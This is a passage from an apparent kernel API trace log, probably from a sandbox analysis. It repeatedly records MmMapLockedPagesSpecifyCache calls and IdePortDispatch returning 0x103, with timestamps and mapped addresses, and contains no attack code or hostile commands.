CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d48000 [0083.629] IdePortDispatch () returned 0x103 [0083.629] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d50000 [0083.629] IdePortDispatch () returned 0x103 [0083.630] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d58000 [0083.630] IdePortDispatch () returned 0x103 [0083.630] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d60000 [0083.630] IdePortDispatch () returned 0x103 [0083.631] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d68000 [0083.631] IdePortDispatch () returned 0x103 [0083.631] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d70000 [0083.631] IdePortDispatch () returned 0x103 [0083.631] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d78000 [0083.631] IdePortDispatch () returned 0x103 [0083.632] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d80000 [0083.632] IdePortDispatch () returned 0x103 [0083.632] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d88000 [0083.632] IdePortDispatch () returned 0x103 [0083.633] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d90000 [0083.633] IdePortDispatch () returned 0x103 [0083.633] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d98000 [0083.633] IdePortDispatch () returned 0x103 [0083.634] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002da0000 [0083.634] IdePortDispatch () returned 0x103 [0083.634] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002da8000 [0083.634] IdePortDispatch () returned 0x103 [0083.634] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002db0000 [0083.635] IdePortDispatch () returned 0x103 [0083.635] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ddf000 [0083.635] IdePortDispatch () returned 0x103 [0083.635] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002de7000 [0083.635] IdePortDispatch () returned 0x103 [0083.636] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002def000 [0083.636] IdePortDispatch () returned 0x103 [0083.636] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dfa000 [0083.636] IdePortDispatch () returned 0x103 [0083.654] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c10000 [0083.654] IdePortDispatch () returned 0x103 [0083.655] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c18000 [0083.655] IdePortDispatch () returned 0x103 [0083.666] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a0000 [0083.666] IdePortDispatch () returned 0x103 [0083.666] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034b8000 [0083.666] IdePortDispatch () returned 0x103 [0083.667] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c0000 [0083.667] IdePortDispatch () returned 0x103 [0083.668] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034e8000 [0083.668] IdePortDispatch () returned 0x103 [0083.668] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f0000 [0083.668] IdePortDispatch () returned 0x103 [0083.669] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f8000 [0083.669] IdePortDispatch () returned 0x103 [0083.669] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003500000 [0083.669] IdePortDispatch () returned 0x103 [0083.670] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003508000 [0083.670] IdePortDispatch () returned 0x103 [0083.670] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003510000 [0083.670] IdePortDispatch () returned 0x103 [0083.670] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003518000 [0083.671] IdePortDispatch () returned 0x103 [0083.671] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003520000 [0083.671] IdePortDispatch () returned 0x103 [0083.671] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003528000 [0083.671] IdePortDispatch () returned 0x103 [0083.672] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003530000 [0083.672] IdePortDispatch () returned 0x103 [0083.672] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003538000 [0083.672] IdePortDispatch () returned 0x103 [0083.673] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003540000 [0083.673] IdePortDispatch () returned 0x103 [0083.675] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003548000 [0083.675] IdePortDispatch () returned 0x103 [0083.675] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003550000 [0083.675] IdePortDispatch () returned 0x103 [0083.681] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bc9000 [0083.681] IdePortDispatch () returned 0x103 [0083.682] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000be1000 [0083.682] IdePortDispatch () returned 0x103 [0083.683] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000be9000 [0083.683] IdePortDispatch () returned 0x103 [0083.683] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bf1000 [0083.683] IdePortDispatch () returned 0x103 [0083.684] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c00000 [0083.684] IdePortDispatch () returned 0x103 [0083.684] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c08000 [0083.684] IdePortDispatch () returned 0x103 [0083.684] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c10000 [0083.685] IdePortDispatch () returned 0x103 [0083.685] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c20000 [0083.685] IdePortDispatch () returned 0x103 [0083.685] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c28000 [0083.685] IdePortDispatch () returned 0x103 [0083.686] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c30000 [0083.686] IdePortDispatch () returned 0x103 [0083.686] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c38000 [0083.686] IdePortDispatch () returned 0x103 [0083.693] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c5d000 [0083.693] IdePortDispatch () returned 0x103 [0083.709] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c1000 [0083.709] IdePortDispatch () returned 0x103 [0083.710] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c6000 [0083.710] IdePortDispatch () returned 0x103 [0083.711] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035cd000 [0083.711] IdePortDispatch () returned 0x103 [0083.713] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035d5000 [0083.713] IdePortDispatch () returned 0x103 [0083.716] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b76000 [0083.716] IdePortDispatch () returned 0x103 [0083.718] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000baa000 [0083.718] IdePortDispatch () returned 0x103 [0083.719] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bb0000 [0083.719] IdePortDispatch () returned 0x103 [0083.731] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003461000 [0083.731] IdePortDispatch () returned 0x103 [0083.732] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003463000 [0083.732] IdePortDispatch () returned 0x103 [0083.734] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003476000 [0083.734] IdePortDispatch () returned 0x103 [0083.735] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003488000 [0083.735] IdePortDispatch () returned 0x103 [0083.736] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800348b000 [0083.736] IdePortDispatch () returned 0x103 [0083.737] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800348e000 [0083.737] IdePortDispatch () returned 0x103 [0083.750] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c30000 [0083.750] IdePortDispatch () returned 0x103 [0083.751] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c33000 [0083.751] IdePortDispatch () returned 0x103 [0083.762] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003501000 [0083.762] IdePortDispatch () returned 0x103 [0083.763] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003513000 [0083.763] IdePortDispatch () returned 0x103 [0083.764] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003515000 [0083.764] IdePortDispatch () returned 0x103 [0083.765] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003528000 [0083.765] IdePortDispatch () returned 0x103 [0083.766] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800352b000 [0083.767] IdePortDispatch () returned 0x103 [0083.768] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800353d000 [0083.768] IdePortDispatch () returned 0x103 [0083.769] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800353f000 [0083.769] IdePortDispatch () returned 0x103 [0083.770] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003541000 [0083.770] IdePortDispatch () returned 0x103 [0083.772] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003586000 [0083.772] IdePortDispatch () returned 0x103 [0083.773] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003589000 [0083.773] IdePortDispatch () returned 0x103 [0083.774] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800358c000 [0083.774] IdePortDispatch () returned 0x103 [0083.775] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800359f000 [0083.775] IdePortDispatch () returned 0x103 [0083.777] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c1000 [0083.777] IdePortDispatch () returned 0x103 [0083.788] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce7000 [0083.788] IdePortDispatch () returned 0x103 [0083.789] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cea000 [0083.790] IdePortDispatch () returned 0x103 [0083.790] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ced000 [0083.790] IdePortDispatch () returned 0x103 [0083.791] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf0000 [0083.791] IdePortDispatch () returned 0x103 [0083.798] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003421000 [0083.798] IdePortDispatch () returned 0x103 [0083.799] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003410000 [0083.800] IdePortDispatch () returned 0x103 [0083.801] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003415000 [0083.801] IdePortDispatch () returned 0x103 [0083.809] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c1000 [0083.809] IdePortDispatch () returned 0x103 [0083.811] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b26000 [0083.811] IdePortDispatch () returned 0x103 [0083.812] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b2a000 [0083.812] IdePortDispatch () returned 0x103 [0083.821] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cd0000 [0083.822] IdePortDispatch () returned 0x103 [0083.822] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cd3000 [0083.822] IdePortDispatch () returned 0x103 [0083.824] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d14000 [0083.824] IdePortDispatch () returned 0x103 [0083.825] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d27000 [0083.826] IdePortDispatch () returned 0x103 [0083.827] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d3c000 [0083.827] IdePortDispatch () returned 0x103 [0083.828] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d50000 [0083.828] IdePortDispatch () returned 0x103 [0083.829] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d54000 [0083.829] IdePortDispatch () returned 0x103 [0083.830] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d78000 [0083.831] IdePortDispatch () returned 0x103 [0083.832] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d7b000 [0083.832] IdePortDispatch () returned 0x103 [0083.833] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d7f000 [0083.833] IdePortDispatch () returned 0x103 [0083.837] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003421000 [0083.837] IdePortDispatch () returned 0x103 [0083.838] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003440000 [0083.838] IdePortDispatch () returned 0x103 [0083.840] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003458000 [0083.840] IdePortDispatch () returned 0x103 [0083.842] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003459000 [0083.842] IdePortDispatch () returned 0x103 [0083.843] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800346d000 [0083.843] IdePortDispatch () returned 0x103 [0083.844] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003471000 [0083.844] IdePortDispatch () returned 0x103 [0083.845] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003477000 [0083.845] IdePortDispatch () returned 0x103 [0083.846] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800347e000 [0083.846] IdePortDispatch () returned 0x103 [0083.847] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, 